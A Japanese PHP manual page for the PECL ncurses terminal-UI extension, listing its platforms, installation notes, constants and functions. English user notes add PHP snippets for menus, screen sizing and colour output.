
ncurses は以下のプラットフォームで利用可能です。

  • AIX
  • BeOS
  • BSD 系 (FreeBSD, NetBSD, OpenBSD)
  • Cygwin
  • Digital Unix (aka OSF1)
  • GNU/Linux
  • HPUX
  • IRIX64
  • macOS
  • OS/2
  • QNX
  • SCO OpenServer
  • Solaris
  • Tru64

User Contributed Notes

There are no user contributed notes for this page.


要件

ncurses ライブラリおよびヘッダファイルが必要です。最新のバージョンを » ftp://ftp.gnu.org/pub/gnu/ncurses/ あるいは他の GNU ミラーサイトからダウンロードしてください。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/ncurses.

ワイドキャラクタ CRT 画面処理 (ncursesw) のサポートは、PECL 拡張モジュールのバージョン 1.0.1 で追加されました。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

この拡張モジュールではウィンドウ、パネルおよびパッドリソースを定義しています。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

目次

  • エラーコード
  • カラー
  • キー
  • マウス

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

User Contributed Notes

kermodebear (at) gmail dot com 19-Feb-2009 01:15
The constant STDSCR is also defined, which appears to be the resource handle for the screen generated when ncurses_init() is called.


エラーコード

エラー時に、ncurese 関数は -1 を返します。 関数によっては、成功した場合に 0 を返すものがあります。 実際の返り値については、ドキュメントの対応するページを参照ください。

User Contributed Notes

There are no user contributed notes for this page.


カラー

ncurses カラー定数
定数 | 意味
NCURSES_COLOR_BLACK | 色なし(黒)
NCURSES_COLOR_WHITE | 白
NCURSES_COLOR_RED | 赤 - 端末がカラーモードの場合のみサポート
NCURSES_COLOR_GREEN | 緑 - 端末がカラーモードの場合のみサポート
NCURSES_COLOR_YELLOW | 黄 - 端末がカラーモードの場合のみサポート
NCURSES_COLOR_BLUE | 青 - 端末がカラーモードの場合のみサポート
NCURSES_COLOR_CYAN | シアン - 端末がカラーモードの場合のみサポート
NCURSES_COLOR_MAGENTA | マゼンタ - 端末がカラーモードの場合のみサポート

User Contributed Notes

There are no user contributed notes for this page.


キー

ncurses キー定数
定数 | 意味
NCURSES_KEY_F0 - NCURSES_KEY_F64 | ファンクションキー F1 - F64
NCURSES_KEY_DOWN | 下矢印
NCURSES_KEY_UP | 上矢印
NCURSES_KEY_LEFT | 左矢印
NCURSES_KEY_RIGHT | 右矢印
NCURSES_KEY_HOME | ホームキー(upward+左矢印)
NCURSES_KEY_BACKSPACE | バックスペース
NCURSES_KEY_DL | 行削除
NCURSES_KEY_IL | 行挿入
NCURSES_KEY_DC | 文字削除
NCURSES_KEY_IC | 文字挿入あるいは挿入モード移行
NCURSES_KEY_EIC | 文字挿入モード終了
NCURSES_KEY_CLEAR | 画面消去
NCURSES_KEY_EOS | 画面最下部までを消去
NCURSES_KEY_EOL | 行末までを消去
NCURSES_KEY_SF | 1 行スクロール
NCURSES_KEY_SR | 1 行逆スクロール
NCURSES_KEY_NPAGE | 次ページ
NCURSES_KEY_PPAGE | 前ページ
NCURSES_KEY_STAB | タブ
NCURSES_KEY_CTAB | タブ消去
NCURSES_KEY_CATAB | 全タブ消去
NCURSES_KEY_SRESET | ソフト(部分)リセット
NCURSES_KEY_RESET | リセットあるいはハードリセット
NCURSES_KEY_PRINT | 印刷
NCURSES_KEY_LL | 左下
NCURSES_KEY_A1 | キーパッドの左上
NCURSES_KEY_A3 | キーパッドの右上
NCURSES_KEY_B2 | キーパッドの中央
NCURSES_KEY_C1 | キーパッドの左下
NCURSES_KEY_C3 | キーパッドの右下
NCURSES_KEY_BTAB | バックタブ
NCURSES_KEY_BEG | 先頭
NCURSES_KEY_CANCEL | キャンセル
NCURSES_KEY_CLOSE | 閉じる
NCURSES_KEY_COMMAND | cmd (コマンド)
NCURSES_KEY_COPY | コピー
NCURSES_KEY_CREATE | 作成
NCURSES_KEY_END | 行末
NCURSES_KEY_EXIT | 終了
NCURSES_KEY_FIND | 検索
NCURSES_KEY_HELP | ヘルプ
NCURSES_KEY_MARK | マーク
NCURSES_KEY_MESSAGE | メッセージ
NCURSES_KEY_MOVE | 移動
NCURSES_KEY_NEXT | 次
NCURSES_KEY_OPEN | オープン
NCURSES_KEY_OPTIONS | オプション
NCURSES_KEY_PREVIOUS | 前
NCURSES_KEY_REDO | やり直し
NCURSES_KEY_REFERENCE | ref (参照)
NCURSES_KEY_REFRESH | リフレッシュ
NCURSES_KEY_REPLACE | 置換
NCURSES_KEY_RESTART | 再起動
NCURSES_KEY_RESUME | 再開
NCURSES_KEY_SAVE | 保存
NCURSES_KEY_SBEG | shiftet beg (beginning)
NCURSES_KEY_SCANCEL | shift + キャンセル
NCURSES_KEY_SCOMMAND | shift + command
NCURSES_KEY_SCOPY | shift + コピー
NCURSES_KEY_SCREATE | shift + create
NCURSES_KEY_SDC | shift + 文字削除
NCURSES_KEY_SDL | shift + 行削除
NCURSES_KEY_SELECT | 選択
NCURSES_KEY_SEND | shift + end
NCURSES_KEY_SEOL | shift + 行末
NCURSES_KEY_SEXIT | shift + exit
NCURSES_KEY_SFIND | shift + 検索
NCURSES_KEY_SHELP | shift + ヘルプ
NCURSES_KEY_SHOME | shift + ホーム
NCURSES_KEY_SIC | shift + input
NCURSES_KEY_SLEFT | shift + 左矢印
NCURSES_KEY_SMESSAGE | shift + メッセージ
NCURSES_KEY_SMOVE | shift + 移動
NCURSES_KEY_SNEXT | shift + 次
NCURSES_KEY_SOPTIONS | shift + オプション
NCURSES_KEY_SPREVIOUS | shift + 前
NCURSES_KEY_SPRINT | shift + 印刷
NCURSES_KEY_SREDO | shift + やり直し
NCURSES_KEY_SREPLACE | shift + 置換
NCURSES_KEY_SRIGHT | shift + 右矢印
NCURSES_KEY_SRSUME | shift + 再開
NCURSES_KEY_SSAVE | shift + 保存
NCURSES_KEY_SSUSPEND | shift + サスペンド
NCURSES_KEY_UNDO | 元に戻す
NCURSES_KEY_MOUSE | マウスイベントが発生
NCURSES_KEY_MAX | 最大のキーの値

User Contributed Notes

There are no user contributed notes for this page.


マウス

マウス定数
定数 | 意味
NCURSES_BUTTON1_RELEASED - NCURSES_BUTTON4_RELEASED | ボタン (1-4) が離された
NCURSES_BUTTON1_PRESSED - NCURSES_BUTTON4_PRESSED | ボタン (1-4) が押された
NCURSES_BUTTON1_CLICKED - NCURSES_BUTTON4_CLICKED | ボタン (1-4) がクリックされた
NCURSES_BUTTON1_DOUBLE_CLICKED - NCURSES_BUTTON4_DOUBLE_CLICKED | ボタン (1-4) がダブルクリックされた
NCURSES_BUTTON1_TRIPLE_CLICKED - NCURSES_BUTTON4_TRIPLE_CLICKED | ボタン (1-4) がトリプルクリックされた
NCURSES_BUTTON_CTRL | クリック中に ctrl が押された
NCURSES_BUTTON_SHIFT | クリック中に shift が押された
NCURSES_BUTTON_ALT | クリック中に alt が押された
NCURSES_ALL_MOUSE_EVENTS | すべてのマウスイベントを報告する
NCURSES_REPORT_MOUSE_POSITION | マウスの位置を報告する

User Contributed Notes

There are no user contributed notes for this page.


Ncurses 関数

目次

  • ncurses_addch — 現在の位置に文字を追加し、カーソルを進める
  • ncurses_addchnstr — 現在の位置に指定した長さの属性付き文字列を追加する
  • ncurses_addchstr — 現在の位置に属性付き文字列を追加する
  • ncurses_addnstr — 現在の位置に、指定した長さの文字列を追加する
  • ncurses_addstr — 現在の位置にテキストを出力する
  • ncurses_assume_default_colors — カラー 0 のデフォルト色を定義する
  • ncurses_attroff — 指定した属性を無効とする
  • ncurses_attron — 指定した属性を有効にする
  • ncurses_attrset — 指定した属性を設定する
  • ncurses_baudrate — 端末のボーレートを返す
  • ncurses_beep — 端末のビープを鳴らす
  • ncurses_bkgd — 端末画面の背景属性を設定する
  • ncurses_bkgdset — 画面背景を制御する
  • ncurses_border — 属性付きの文字で画面周囲に境界を描画する
  • ncurses_bottom_panel — パネルをスタックの最下部に移動する
  • ncurses_can_change_color — 端末の色を変更可能かどうか確認する
  • ncurses_cbreak — 入力のバッファリングをオフにする
  • ncurses_clear — スクリーンをクリアする
  • ncurses_clrtobot — 現在位置から最下部までスクリーンをクリアする
  • ncurses_clrtoeol — 現在位置から行末までスクリーンをクリアする
  • ncurses_color_content — 色の RGB 値を取得する
  • ncurses_color_set — 前景/背景色を設定する
  • ncurses_curs_set — カーソル状態を設定する
  • ncurses_def_prog_mode — 端末(プログラム)モードを保存する
  • ncurses_def_shell_mode — 端末(シェル)モードを保存する
  • ncurses_define_key — キーコードを定義する
  • ncurses_del_panel — パネルをスタックから取り除き、削除する (しかし、関連付けられているウィンドウは削除しない)
  • ncurses_delay_output — パディング文字を用いて端末出力を遅延させる
  • ncurses_delch — 現在位置の文字を削除し、残った部分を左に移動する
  • ncurses_deleteln — 現在位置の行を削除し、残りの部分を上に上げる
  • ncurses_delwin — ncurses ウインドウを削除する
  • ncurses_doupdate — 準備中の全ての出力を書き込み、端末をリフレッシュする
  • ncurses_echo — キーボード入力のエコーを有効とする
  • ncurses_echochar — リフレッシュを行いつつ 1 文字出力する
  • ncurses_end — ncurses を終了し、画面を消去する
  • ncurses_erase — 端末画面を消去する
  • ncurses_erasechar — 現在の erase 文字を返す
  • ncurses_filter — iniscr() および newterm() の LINES を 1 に設定する
  • ncurses_flash — 端末画面をフラッシュする(ビジュアルベル)
  • ncurses_flushinp — キーボード入力バッファをフラッシュする
  • ncurses_getch — キーボードから 1 文字読み込む
  • ncurses_getmaxyx — ウィンドウの大きさを返す
  • ncurses_getmouse — マウスイベントを読みこむ
  • ncurses_getyx — ウィンドウ内の現在のカーソル位置を返す
  • ncurses_halfdelay — 端末をハーフディレイモードにする
  • ncurses_has_colors — カラー端末かどうか確認する
  • ncurses_has_ic — 挿入/削除機能の有無を確認する
  • ncurses_has_il — 行挿入/削除機能の有無を確認する
  • ncurses_has_key — 端末キーボードにおいてファンクションキーの有無を調べる
  • ncurses_hide_panel — パネルをスタックから取り除き、見えなくする
  • ncurses_hline — 現在位置に属性付きの文字を用いて最大 n 文字長の線を水平に描画する
  • ncurses_inch — 現在位置の文字と属性を取得する
  • ncurses_init_color — 端末の色を定義する
  • ncurses_init_pair — 色ペアを定義する
  • ncurses_init — ncurses を初期化する
  • ncurses_insch — 文字を挿入し、現在位置にある文字を含む残りの行を移動する
  • ncurses_insdelln — 現在の行の後に複数の行を挿入し、スクロールダウンする (負の数を指定すると削除し、スクロールアップする)
  • ncurses_insertln — 行を挿入し、残りの部分をスクロールダウンする
  • ncurses_insstr — 現在位置に文字列を挿入し、残りの行を右に移動する
  • ncurses_instr — 端末画面から文字列を読み込む
  • ncurses_isendwin — Ncurses が endwin モードの場合、通常の画面出力が実行可能
  • ncurses_keyok — キーコードを有効または無効にする
  • ncurses_keypad — キーパッドを on あるいは off にする
  • ncurses_killchar — 現在の行削除文字を返す
  • ncurses_longname — 端末の説明を返す
  • ncurses_meta — 8 ビットのメタキー情報を有効/無効にする
  • ncurses_mouse_trafo — 座標を変換する
  • ncurses_mouseinterval — マウスボタンクリックのタイムアウトを設定する
  • ncurses_mousemask — マウスオプションを設定する
  • ncurses_move_panel — 左上が [startx, starty] となるようにパネルを移動する
  • ncurses_move — 出力位置を移動する
  • ncurses_mvaddch — 現在位置を移動し、文字を追加する
  • ncurses_mvaddchnstr — 位置を移動し、指定長の属性付きの文字列を追加する
  • ncurses_mvaddchstr — 位置を移動し、属性付きの文字列を追加する
  • ncurses_mvaddnstr — 位置を移動し、指定長の文字列を追加する
  • ncurses_mvaddstr — 位置を移動し、文字列を追加する
  • ncurses_mvcur — 直ちにカーソルを移動する
  • ncurses_mvdelch — 位置を移動し、文字を削除、行の残りを左シフトする
  • ncurses_mvgetch — 位置を移動し、新しい位置で文字を得る
  • ncurses_mvhline — 位置を新しく設定し、属性付きの文字を用いて最大n文字の水平線を描画
  • ncurses_mvinch — 位置を移動し、新しい位置の属性付きの文字を取得する
  • ncurses_mvvline — 位置を新しく設定し、属性付きの文字を用いて最大 n 文字の垂直線を描画する
  • ncurses_mvwaddstr — ウインドウの新規位置に文字列を追加する
  • ncurses_napms — スリープ
  • ncurses_new_panel — 新しいパネルを作成し、それをウィンドウに関連づける
  • ncurses_newpad — 新しいパッド (window) を作成する
  • ncurses_newwin — 新規ウインドウを作成する
  • ncurses_nl — 改行と復改/ラインフィードを変換する
  • ncurses_nocbreak — 端末を cooked モードに変更する
  • ncurses_noecho — キーボード入力エコーを無効にする
  • ncurses_nonl — 改行と復改/ラインフィードを変換しない
  • ncurses_noqiflush — シグナル文字のフラッシュを無効とする
  • ncurses_noraw — 端末を raw モード以外に変更する
  • ncurses_pair_content — 色ペアの前景色と背景色を取得する
  • ncurses_panel_above — パネルの上のパネルを返す
  • ncurses_panel_below — パネルの下のパネルを返す
  • ncurses_panel_window — パネルに関連付けられたウィンドウを返す
  • ncurses_pnoutrefresh — パッドから仮想画面にリージョンをコピーする
  • ncurses_prefresh — パッドから仮想画面にリージョンをコピーする
  • ncurses_putp — パディング情報を文字列に適用し、それを出力する
  • ncurses_qiflush — シグナル文字のフラッシュを有効とする
  • ncurses_raw — 端末を raw モードに変更する
  • ncurses_refresh — 画面をリフレッシュする
  • ncurses_replace_panel — パネルに関連付けられたウィンドウを置き換える
  • ncurses_reset_prog_mode — def_prog_mode で保存したプログラムモードをリセットする
  • ncurses_reset_shell_mode — def_shell_mode で保存したシェルモードをリセットする
  • ncurses_resetty — 保存した端末モードに復帰する
  • ncurses_savetty — 端末の状態を保存する
  • ncurses_scr_dump — 画面の内容をファイルにダンプする
  • ncurses_scr_init — ファイルダンプから画面を初期化する
  • ncurses_scr_restore — ファイルダンプから画面を復帰する
  • ncurses_scr_set — ファイルダンプから画面を継承する
  • ncurses_scrl — 現在位置を変更せずに画面の内容をスクロールアップまたはダウンする
  • ncurses_show_panel — 不可視のパネルをスタックの最上部に置き、見えるようにする
  • ncurses_slk_attr — 現在のソフトラベルキー属性を返す
  • ncurses_slk_attroff — ソフトファンクションキーラベルの指定した属性を無効にする
  • ncurses_slk_attron — ソフトファンクションキーラベルの指定した属性を有効にする
  • ncurses_slk_attrset — ソフトファンクションキーラベルに、指定した属性を設定する
  • ncurses_slk_clear — 画面からソフトラベルをクリアする
  • ncurses_slk_color — ソフトラベルキーの色を設定する
  • ncurses_slk_init — ソフトラベルキー関数を初期化する
  • ncurses_slk_noutrefresh — 仮想画面にソフトラベルキーをコピーする
  • ncurses_slk_refresh — ソフトラベルキーを画面にコピーする
  • ncurses_slk_restore — ソフトラベルキーを復帰する
  • ncurses_slk_set — ファンクションキーラベルを設定する
  • ncurses_slk_touch — ncurses_slk_noutrefresh を実行する際に強制的に出力する
  • ncurses_standend — 'standout' 属性の使用を停止する
  • ncurses_standout — 'standout' 属性の使用を開始する
  • ncurses_start_color — 色機能を初期化する
  • ncurses_termattrs — 端末でサポートされる全ての属性フラグの論理和を返す
  • ncurses_termname — 端末の(簡略)名を返す
  • ncurses_timeout — 特別なキーシーケンスのタイムアウトを設定する
  • ncurses_top_panel — 可視パネルをスタックの最上部に移動する
  • ncurses_typeahead — typeahead 確認用に別のファイル記述子を指定する
  • ncurses_ungetch — 入力ストリームに 1 文字戻す
  • ncurses_ungetmouse — マウスイベントをキューにプッシュする
  • ncurses_update_panels — 仮想画面を再描画し、スタック内のパネルとの関係を反映させる
  • ncurses_use_default_colors — 端末のデフォルト色をカラー ID -1 に割り付ける
  • ncurses_use_env — 端末の大きさに関する環境情報の使用を制御する
  • ncurses_use_extended_names — terminfo 記述において拡張名の使用を制御する
  • ncurses_vidattr — video attribute モードで、端末上に文字列を表示する
  • ncurses_vline — 現在位置に最大 n 文字の属性付きの文字を用いて垂直線を描画する
  • ncurses_waddch — ウィンドウ内の現在位置に文字を追加し、カーソルを進める
  • ncurses_waddstr — ウィンドウ内の現在位置にテキストを出力する
  • ncurses_wattroff — ウィンドウの属性をオフにする
  • ncurses_wattron — ウィンドウの属性をオンにする
  • ncurses_wattrset — ウィンドウの属性を設定する
  • ncurses_wborder — 属性文字を使用してウィンドウの周囲に線を描画する
  • ncurses_wclear — ウィンドウをクリアする
  • ncurses_wcolor_set — ウィンドウの色の組み合わせを設定する
  • ncurses_werase — ウィンドウを消去する
  • ncurses_wgetch — キーボート (ウィンドウ) から文字を読み込む
  • ncurses_whline — 指定した属性文字を用いて、最大 n 文字分の長さの水平線を ウィンドウに描画する
  • ncurses_wmouse_trafo — ウィンドウ/標準画面の座標系を変換する
  • ncurses_wmove — ウィンドウの出力位置を移動する
  • ncurses_wnoutrefresh — ウィンドウを仮想画面にコピーする
  • ncurses_wrefresh — 端末画面のウインドウをリフレッシュする
  • ncurses_wstandend — ウィンドウの standout モードを終了する
  • ncurses_wstandout — ウィンドウの standout モードに入る
  • ncurses_wvline — 指定した属性文字を用いて、最大 n 文字分の長さの垂直線を ウィンドウに描画する

User Contributed Notes

g_a at freemail dot deletethispart dot hu 02-Feb-2006 06:03
To determine screen width and height without any external (OS specific) commands, I use:

<?php
ncurses_init();
$fullscreen = ncurses_newwin ( 0, 0, 0, 0);
ncurses_getmaxyx($fullscreen,&$a,&$b);
ncurses_end();
echo "Width:$b\nHeight:$a\n";
?>
krzysztof dot gorzelak at gmail dot com 05-Nov-2005 02:36
Here is a small example, how to use STDIN to read keys combinations in console.

$stdin = fopen('php://stdin', 'r');
stream_set_timeout($stdin, 1);
while (1) {
  $temp="";
    while (1) {
      if(stream_select($read = array($stdin), $write = NULL, $except = NULL, 0))
        $temp .= ord(fgetc($stdin));
      else break;
    }

    // F1 : $temp == 27914949126
    // ALT+F1 : $temp = 2727914949126
    // ....

    usleep("50000");
}
kermodebear at kermodebear dot org 17-Jun-2004 12:27
An implementation of a scrolling selection box:

<?php
function ncurses_menu_select( $options, $values, $max_height = 7, $max_width = 20, $y = 2, $x = 2 ) {
        // Size inside of borders
        $height = $max_height - 2;
        $width  = $max_width  - 2;

        // Number of options
        $num_options = count( $options );

        // Trim all values to fit
        foreach( $options as $key => $value ) {
                $options[ $key ] = substr( $value, 0, $width );
        }

        // Create Window
        $menu_window = ncurses_newwin( $max_height, $max_width, $y, $x );
        ncurses_wborder( $menu_window, 0, 0, 0, 0, 0, 0, 0, 0 );

        // Initialize Window
        $current = 0; // Currently selected
        $position = 1; // Position in list
        $topitem = 0; // Top menu item
        for ( $a = 0; $a < min( $height, $num_options ); $a++ ) {
                if ( $a == $current ) {
                        ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
                        ncurses_mvwaddstr( $menu_window, 1 + $a, 1, $options[ $a ] );
                        ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
                } else {
                        ncurses_mvwaddstr( $menu_window, 1 + $a, 1, $options[ $a ] );
                }
        }
        ncurses_mvwaddstr( $menu_window, 1, 0, '*' );
        ncurses_wrefresh( $menu_window );
        // Loop until a selection is made
        while( ! in_array( $key = ncurses_getch( $menu_window ), array( 13, 10 ) ) ) {
                if ( $key == NCURSES_KEY_UP && $current > 0 ) {
                        $move = -1;
                } else if ( $key == NCURSES_KEY_DOWN && $current < $num_options - 1 ) {
                        $move = 1;
                } else {
                        continue;
                }

                $current += $move;
                $position += $move;
                // If we scroll off the window, redraw items.
                if ( $position < 1 || $position > $height ) {
                        if ( $position < 1 ) {
                                $position = 1;
                        } else {
                                $position = $height;
                        }
                        $topitem += $move;
                        for ( $a = 1; $a <= $height; $a++ ) {
                                ncurses_mvwaddstr( $menu_window, $a, 1, str_repeat( ' ', $width ) );
                                if ( $a == $position ) {
                                        ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
                                        ncurses_mvwaddstr( $menu_window, $a, 1, $options[ $topitem + $a - 1 ] );
                                        ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
                                } else {
                                        ncurses_mvwaddstr( $menu_window, $a, 1, $options[ $topitem + $a - 1 ] );
                                }
                        }
                } else { // Just update changed items
                        ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
                        ncurses_mvwaddstr( $menu_window, $position, 1, $options[ $current ] );
                        ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
                        ncurses_mvwaddstr( $menu_window, $position - $move, 1, $options[ $current - $move ] );
                }
                // Update 'scroll bar dot'
                ncurses_wborder( $menu_window, 0, 0, 0, 0, 0, 0, 0, 0 );
                $dot_position = round ( ( $current / $num_options ) * ( $height - 1 ) );
                ncurses_mvwaddstr( $menu_window, 1 + $dot_position, 0, '*' );

                ncurses_wrefresh( $menu_window );
        }
        return $values[ $current ];
}

?>
kermodebear at kermodebear dot org 16-Jun-2004 10:21
Not calling ncurses_end() can (will) cause issues with terminals. Although registering a shutdown function which includes ncurses_end() may help, sometimes things go awry and you're stuck with a terminal that is acting in strange ways.

This can be fixed! *NIX systems (FreeBSD, Linux, UNIX, et al.) usually support the 'reset' command which resets the terminal settings and allows you to get things back to normal.
kermodebear at kermodebear dot org 16-Jun-2004 10:17
Here is a function that takes an associative array, presents a menu in a new window, allows the user to make a choice using up and down arrows and the enter key, and returns the value of the menu item.

Limitations include:
No way of scrolling a long list, either horiontally or vertically;
No arguments for placement on screen, although this is easy to add;
No multiple selection;
Will produce all kinds of errors and warnings if the terminal is smaller than is necessary to create the window.

I'm very new at using the ncurses library; Comments and improvements would be greatly appreciated!

<?php
/**
 * Create a simple selection menu
 * @param array Associative array; The value will be shown on the menu, while the key will be returned when the associated value is selected.
 * @return mixed
 */
function ncurses_menu_select( $menu ) {
        $keys = array_keys( $menu );
        $values = array_values( $menu );

        $height = $width = 0;
        $height = count( $menu ) + 2;
        foreach( $values as $value ) {
                $width = max( $width, strlen( $value ) + 2 );
        }

        $menu_window = ncurses_newwin( $height, $width, 5, 5 );
        ncurses_wborder( $menu_window, 0,0, 0,0, 0,0, 0,0 );

        $current = 0;
        for( $a = 0; $a < count( $values ); $a++ ) {
                if ( $a == $current ) {
                        ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
                        ncurses_mvwaddstr( $menu_window, 1 + $a, 1, $values[ $a ] );
                        ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
                } else {
                        ncurses_mvwaddstr( $menu_window, 1 + $a, 1, $values[ $a ] );
                }
        }
        ncurses_wrefresh( $menu_window );

        while( ! in_array( $key = ncurses_getch( $menu_window ), array( 13, 10 ) ) ) {
                if ( $key == NCURSES_KEY_UP AND $current > 0 ) {
                        $move = -1;
                } else if ( $key == NCURSES_KEY_DOWN and $current < count( $values ) - 1 ) {
                        $move = 1;
                } else {
                        $move = 0;
                }
                ncurses_mvwaddstr( $menu_window, 1 + $current, 1, $values[ $current ] );
                $current += $move;
                ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
                ncurses_mvwaddstr( $menu_window, 1 + $current, 1, $values[ $current ] );
                ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
                ncurses_wrefresh( $menu_window );
        }
        ncurses_delwin( $menu_window );
        return $keys[ $current ];
}
?>

Example Use:

<?php
// Initialie ncurses
$ncurse = ncurses_init();
// A full screen window
$fullscreen = ncurses_newwin ( 0, 0, 0, 0);
// Add a pretty border
ncurses_border(0,0, 0,0, 0,0, 0,0);
// Draw everything so far
ncurses_refresh();

// Set up menu array
$menu_items = array(
        'one'   => 'Menu Item #1',
        'two'   => 'Menu Item #2',
        'three' => 'Menu Item #3' );
// Display menu and return selection
$selection = ncurses_menu_select( $menu_items );

// Print selection
ncurses_mvaddstr( 1, 1, 'You selected ' . $menu_items[$selection] . ' with the value ' . $selection );

// Draw updates
ncurses_refresh( $fullscreen );
// End
ncurses_end();
?>
Habib Valanejad 24-Feb-2004 09:46
What if you want to draw a new window and after removing it, showing the pervious screen again? Unfortunately, there is no such a thing in php/ncurses as there is in original curses library (touchwin if I'm not mistaken - It has been a long time!).
However, you can do this by a simple trick! You can
dump the screen to a temp file and then restore it back
again!
Take a look at this function:

# Function: show_a_win()
# - Displays a small window and writes something in it.
# - waits for a key
# - shows the pervious screen again
function show_a_win()
{
   # Dump the current screen into a temp file:
   $tmpfile = tempnam("/tmp", "dump.");
   # Create a new window.
   $newwin = ncurses_newwin(4, 60, 10, 10);
   # Write something and then refresh it
   ncurses_mvwaddstr($newwin, 1, 1, "This is a test.");
   ncurses_wrefresh($newwin);
   # Wait for a key
   ncurses_wgetch($newwin);
   ncurses_delwin($newwin);  /* delete the window */
   /* Restore the screen the same way it was before entering
    * into the function:
    */
   ncurses_scr_restore($tmpfile);
   unlink($tmpfile);   /* Remove temp file */
}
Habib Valanejad 11-Dec-2003 02:30
Here is a function which would do the job for missing
ncurses_wclrtoeol() function:
/* wclrtoeol()
 * Erases  the  current line to the right of the cursor
*/
function wclrtoeol($win)
{
   # get current position
   ncurses_getyx($win, &$crow, &$ccol);
   # get maximum row and col for this window:
   ncurses_getmaxyx($win, &$max_row, &$max_col);
   for ($col = $ccol; $col < $max_col; $col ++){
      ncurses_wmove($win, $crow, $col);
      ncurses_waddch($win, 32);
   }
}
rainman at darkwired dot org 31-Jul-2003 04:55
This is not meant as spam to get people to use my client.

I have been working on a PHP4 IRC client with ncurses interface and I think it is a useful example of how ncurses with php could be used.
It is GPL licensed so you can just go and take a loot at it.

It can be found at http://torc.sourceforge.net or http://www.darkwired.org/projects/torc/

I hope this will help out some of you because php ncurses can be quite difficult I experienced :]

For any questions about the code you can ofcourse just mail me.
Habib Valanejad 25-Jun-2003 02:50
I had a small problem building php+ncurses support.
ncurses include files were installed in:
ncurses_installed_dir/include/ncurses
This caused problems when building php with ncurse support.
php was looking for include files in:
ncurses_installed_dir/include
However, include files were located in include/ncurses

I had to make symbolic links of files in ncurses directory so php could see them:
# cd ncurses_insalled_directory/include
# ln -s ncurses/* .
After that it worked.
Habib Valanejad 27-Mar-2003 06:13
For those of you who want to check if <ENTER> key is passed,
you have to check the key agains both NL and CR keys:

function get_str()
{
   for ($str = "";;){
      $key = ncurses_getch();
      switch ($key){
        case 10:   // newline
        case 13:   // Carrige Return
           return($str);
        default:
           $str .= chr($key);
            ncurses_refresh();
      } // switch
   } // for
} // get_str()

Hope that would help.
24-Mar-2003 07:18
In the example above, if you run resize from a C shell it will output the sizes in C shell syntax, run resize with -u to force Bourne syntax:
The $win parameter is just for future compatibility.

function ncurses_getmaxyx($win, &$y, &$x)
{
        exec("/usr/X11R6/bin/resize -u", $output);
        $cols = explode("=", $output[0]);
        $rows = explode("=", $output[1]);
        $x = intval($cols[1]);
        $y = intval($rows[1]);
}
joeldegan AT yahoo.com 15-Dec-2002 12:26
See the documentation for ncurses_border and ncurses_wrefresh for some more examples of doing windowing and dynamic sizing.. I also posted some information to the zend.com code-gallery for doing ncurses under php.
joeldegan AT yahoo.com 14-Dec-2002 03:10
I noticed a lack of a getxy() function so I wrote one.
You may need to change the path for your resize cmd.

<?
function getxy(){
    $rez = `/usr/X11R6/bin/resize`;
    $rez = explode("\n",$rez);
    while(list($key,$val)=each($rez)){
        $a=explode("=",$val);
        if(trim($a[0])=="COLUMNS"){ $COLUMNS = $a[1]; }
        if(trim($a[0])=="LINES"){ $LINES = $a[1]; }
    }//
    $retval[0]=$COLUMNS;
    $retval[1]=$LINES;
   return $retval;
}

print_r(getxy());
?>
joeldegan AT yahoo.com 14-Dec-2002 02:37
This is from the examples that come with the latest release.

From:
php-4.3.0RC3/ext/ncurses/example1.php

I found this useful...

<?php
$n=0;
ncurses_init();
if(ncurses_has_colors()){
ncurses_start_color();
        ncurses_init_pair(1,NCURSES_COLOR_RED,NCURSES_COLOR_BLACK);
        ncurses_init_pair(2,NCURSES_COLOR_GREEN,NCURSES_COLOR_BLACK);
        ncurses_init_pair(3,NCURSES_COLOR_YELLOW,NCURSES_COLOR_BLACK);
        ncurses_init_pair(4,NCURSES_COLOR_BLUE,NCURSES_COLOR_BLACK);
        ncurses_init_pair(5,NCURSES_COLOR_MAGENTA,NCURSES_COLOR_BLACK);
        ncurses_init_pair(6,NCURSES_COLOR_CYAN,NCURSES_COLOR_BLACK);
        ncurses_init_pair(7,NCURSES_COLOR_WHITE,NCURSES_COLOR_BLACK);
}
while(1){
for ($x=0; $x<80; $x++) {
for ($y=0; $y<24; $y++) {
  $n++;
  ncurses_move($y,$x);
  ncurses_addch($n+64);
  ncurses_color_set($n%8);
  ncurses_refresh();
  if($n>26)$n=0;
}
}
ncurses_getch();
}
?>
joeldegan AT yahoo.com 13-Dec-2002 10:56
actually *that* example does not work...
here is one that I took and trimmed down from the ncurses examples.
I will do some more and post them here..

<?
ncurses_init();
##############################################
ncurses_noecho();

    $large = ncurses_newwin(20, 60, 2, 10);
    $small = ncurses_newwin(10, 30, 7, 25);

    ncurses_refresh();
    ncurses_wrefresh($large);
    ncurses_wrefresh($small);

    ncurses_mvwaddstr($small, 5, 5, "   Test  String   ");
    ncurses_wrefresh($small);
    ncurses_getch();

##############################################
ncurses_end(); // Clean up, and quit
?>

This is from PHP 4.3.0RC0 compiled with the following flags..
./configure --prefix=/wwwroot/php --with-config-file-path=/wwwroot/php --with-mysql --enable-pcntl --with-tsrm-pthreads --enable-sysvsem --enable-sysvshm --with-curl --enable-bcmath --enable-sigchild --enable-sockets --with-ncurses
nweeks at utas dot edu dot au 07-Nov-2002 04:43
With your CGI version of PHP compiled with ncurses support, console apps are amazingly easy!

For example:
whack the following into a file, chmod +x it, and run it.

#!/usr/local/bin/php -q
<?php
ncurses_init();
ncurses_border(25,25,18,18,24,24,23,23); // Do a lovely border
ncurses_move(1,1); // Start top left(inside border)
ncurses_addstr("Welcome to NCurses");
ncurses_addstr(" with PHP!");
ncurses_refresh(); // Send buffer to screen
